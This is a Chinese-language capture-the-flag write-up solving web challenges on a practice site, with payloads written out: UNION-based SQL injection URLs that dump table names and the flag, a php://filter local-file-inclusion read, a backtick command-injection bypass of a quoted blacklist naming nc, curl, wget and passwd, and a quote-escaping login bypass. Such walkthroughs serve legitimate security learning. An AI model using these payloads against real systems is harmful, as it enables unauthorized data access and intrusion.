目录
写在前面
最近发现了一个比较有趣的ctf-oj,给出链接
https://hackme.inndy.tw/
里面有不少web题,我这里因为依照出题人的要求:
本次文章不会直接给出flag,但是会有详细的分析和攻击脚本
0x01 hide and seek
查看源代码即可
0x02 guestbook
简单注入
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1
可以得到数据库名guestbook
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1
得到表名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1
得到字段名flag
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1
即可拿到flag
0x03 LFI
随便点击出现:
https://hackme.inndy.tw/lfi/?page=pages/index
根据题目名可以知道是读文件
所以读:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到
php
Can you read the flag<?php require('config.php'); ?>?
再读
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
即可
0x04 homepage
注意源代码151行
<script src="cute.js"></script>
跟进
https://hackme.inndy.tw/cute.js
发现是aaencode
解密得到二维码,扫描即可
0x05 ping
发现黑名单
php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
发现没有过滤反引号
尝试反引号ls反引号
可以得到
ping: unknown host flag.php
index.php
发现sort没有过滤,并且利用?通配
反引号sort ????????反引号
即可
0x06 scoreboard
抓包发现http头里的x-flag有flag
0x07 login as admin 0
注意到过滤
php
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
最后将单引号变成\\'
所以容易构造payload:
username = admin\' || 1=1#
password = 1
进入的是guest,所以admin应该是第二行
所以payload:
username = admin\' || 1=1 limit 1,1#
password = 1
得到flag